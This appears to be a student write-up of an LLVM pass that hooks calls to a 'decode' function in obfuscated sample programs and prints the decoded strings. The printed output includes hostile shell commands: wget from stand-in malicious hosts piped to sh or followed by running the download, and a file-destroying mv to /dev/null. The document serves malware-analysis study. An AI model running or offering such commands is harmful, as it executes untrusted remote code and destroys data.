LLVM

1. How my LLVM pass works

Since the goal is to print all the decoded strings, I figured the simplest way would be to insert a function call that takes a string as input and prints the string.

```
bool runOnModule(Module &M) {
  GetGlobalVariableList(M);

  for (Module::iterator F = M.begin(); F != M.end(); F++) {
    if (F->getName().str() == string("decode")) {
      AnalyzeDecodeFunction(F);
    }

    for (Function::iterator BB = F->begin(); BB != F->end(); BB++) {
      for (BasicBlock::iterator I = BB->begin(); I != BB->end(); I++) {
        Value *insValue = I;
        //
        // We filter function calls for the "decode" function.
        //
        if (GetFunctionCallTarget(I) == string("decode")) {
          // errs() << I->getNumOperands() << "\n";
          Function *printFunc = M.getFunction("print");
          if (printFunc) {
            IRBuilder<> B(BB);
            errs() << "print function: " << printFunc << "\n";
            //   Instruction *newInst = CallInst::Create(printFunc, "");
            // Value *v = B.CreateGlobalStringPtr("hi", "str");
            // ii->print(errs());
            ArrayRef<Value *> args(insValue);
            Value *funcVal = printFunc;
            Instruction *newInst = CallInst::Create(funcVal, args, "");
            BB->getInstList().insert(I->getNextNode(), newInst);
          } else {
            errs() << "No print function: " << printFunc << "\n";
          }
          errs() << "instruction" << *I << "\n";
```

Using the function name to identify each `decode` call, I insert a function that prints the return value of decode. The print function is as shown below

```
#include <stdio.h>

extern "C" void print(char *s) {
    printf("Load/store Instruction \n");
    printf("%s\n", s);
}
```


print.c - workspace [Dev Container: Existing Docker Compose

I implemented and linked my print function by using the following commands:

- `clang++ -emit-llvm -o print.bc -c print.c`
- `llvm-link print.bc sample2.bc -S -o=sample2p.bc`

Having hooked the `print` function to the sample, I was able to run `MyLLVMPass` on the resulting bitcode.

The result from sample1 is:

```
Load/store Instruction
wget http://malicious_source -o- | sh
sh: wget: command not found
Load/store Instruction
mv your_file /dev/null
mv: cannot stat 'your_file': No such file or directory
root@af9dbb7846ac /w/LLVM_package#
```

The result from sample2 is:

```
root@af9dbb7846ac /w/LLVM_package# lli result.bc
Load/store Instruction
wget https://verybadurl__AM_MALCOUS/malware 2> /dev/null
Load/store Instruction
./malware 2> /dev/null
```

2. How did I identify data dependency between the argument and return values of the decode function

3. how did you identify range of the index (around 0.25 page)

In `runOnModule`, I loop through each function and identify `decode` by and call `AnalyzeDecodeFunction`, which runs through each instruction in the `decode` function, allowing me to perform operations on the instruction.

```
        if (isa<CmpInst>(I)) {
          errs() << "CCCCCCMMMMMMMMPPPPPPPPPPp\n";
          I->dump();
          if (CmpInst *b = dyn_cast<CmpInst>(I)) {
            errs() << "cast sssssssss\n";

            errs() << b->getOperand(0) << "\n";
            errs() << b->getOperand(1) << "\n";
            ConstantInt *CI = dyn_cast<ConstantInt>(b->getOperand(1));
            errs() << "const value: " << CI->getSExtValue() << "\n";
          }
        }
        if (isa<BranchInst>(I) && isa<CmpInst>(I)) {
          // errs() << "BOTHBOTH\n";
          // I->dump();
        }
        // I->dump();
      }
    }
```

How I find the range of the for loop shown in the picture above.

To find out what the range of the for loop is, I use `isa<CmpInst>` to check if the instruction is a `cmp`. If it is, I then check if it's an `SLT` . If it is, I extract the second operand, the range of the for loop, using `getOperand`.

4. how did you identify the decoding computation

5. how did you handle variable aliasing

6. how did you stitch all the above logic together?

I did not rewrite the logic. I simply take advantage of the decode function and insert a print to print the result string of decode.